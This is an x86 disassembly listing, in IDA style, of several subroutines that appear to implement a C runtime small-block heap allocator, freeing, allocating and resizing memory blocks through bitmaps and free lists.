		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		call	near ptr 2830000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2890791h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2890791h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


